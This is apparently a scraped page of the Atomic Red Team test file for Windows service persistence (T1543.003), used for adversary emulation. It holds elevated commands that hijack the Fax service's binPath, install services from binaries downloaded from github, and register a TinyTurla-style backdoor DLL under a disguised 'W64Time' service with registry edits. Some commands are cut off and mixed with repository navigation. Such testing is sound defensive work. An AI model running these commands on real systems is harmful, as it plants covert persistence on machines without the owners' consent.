



## Atomic Test #1 - Modify Fax service to run PowerShell

This test will temporarily modify the service Fax by changing the binPath to PowerShell and will then revert the binPath change, restoring Fax to its original state. Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.

Supported Platforms: Windows

auto\_generated\_guid: ed366cde-7d12-49df-a833-671904770b9f

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\power
sc start Fax
```

Cleanup Commands:

```
sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul 2>&1
```

## Atomic Test #2 - Service Installation CMD

Download an executable from github and start it as a service. Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.

Supported Platforms: Windows

auto\_generated\_guid: 981e2942-e433-44e9-afc1-8c957a1496b6

Inputs:

Name	Description	Type	Default Value
binary_path	Name of the service binary, include path.	Path	PathToAtomicsFolder\T1543.003\bin\AtomicSe
service_name	Name of the Service	String	AtomicTestService_CMD

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
sc.exe create #{service_name} binPath= #{binary_path}
sc.exe start #{service_name}
```

Cleanup Commands:

```
sc.exe stop #{service_name} >nul 2>&1
sc.exe delete #{service_name} >nul 2>&1
```

Dependencies: Run with `powershell` !

Description: Service binary must exist on disk at specified location (#{binary\_path})

Check Prereq Commands:

Files

f339e7d

Go to file

> .github

> atomic\_red\_team

> atomics

- > Indexes
- > T1003.001
- > T1003.002
- > T1003.003
- > T1003.004
- > T1003.005
- > T1003.006
- > T1003.007
- > T1003.008
- > T1003
- > T1006
- > T1007

```
if (Test-Path #{binary_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```

### Atomic Test #3 - Service Installation PowerShell

Installs A Local Service via PowerShell. Upon successful execution, powershell will download AtomicService.exe from github. Powershell will then use New-Service and Start-Service to start service. Results will be displayed.

Supported Platforms: Windows

auto\_generated\_guid: 491a4af6-a521-4b74-b23b-f7b3f1ee9e77

Inputs:

Name	Description	Type	Default Value
binary_path	Name of the service binary, include path.	Path	PathToAtomicsFolder\T1543.003\bin\AtomicSe
service_name	Name of the Service	String	AtomicTestService_PowerShell

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
Start-Service -Name "#{service_name}"
```

atomic-red-team / atomics / T1543.003 / T1543.003.md

PreviewCodeBlame214 lines (124 loc) · 8.21 KBRawDownloadMenu

```
Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Dele
catch {}
```

Dependencies: Run with powershell !

Description: Service binary must exist on disk at specified location (#{binary\_path})




























Check Prereq Commands:

```
if (Test-Path #{binary_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```

Page 3 of 4

- >  T1010
- >  T1012
- >  T1014
- >  T1016
- >  T1018
- >  T1020
- >  T1021.001
- >  T1021.002
- >  T1021.003
- >  T1021.006
- >  T1027.001
- >  T1027.002
- >  T1027.004
- >  T1027
- >  T1030
- >  T1033
- >  T1036.003
- >  T1036.004
- >  T1036.005
- >  T1036.006
- >  T1036
- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

# Atomic Test #4 - TinyTurla backdoor service w64time

It's running DLL as service to emulate the tine turla backdoor

[Related Talos Blog](#)

Supported Platforms: Windows

auto\_generated\_guid: ef0581fd-528e-4662-87bc-4c2affb86940

Inputs:

Name	Description	Type	Default Value
dllfilename	It specifies DLL file to run as service	string	\$PathToAtomicsFolder\T1543.003\bin\w64time.d

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
copy #{dllfilename} %systemroot%\system32\
sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeServi
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v T
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v S
sc start W64Time
```

Cleanup Commands:

```
sc stop W64Time
sc.exe delete W64Time
del %systemroot%\system32\w64time.dll
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v
```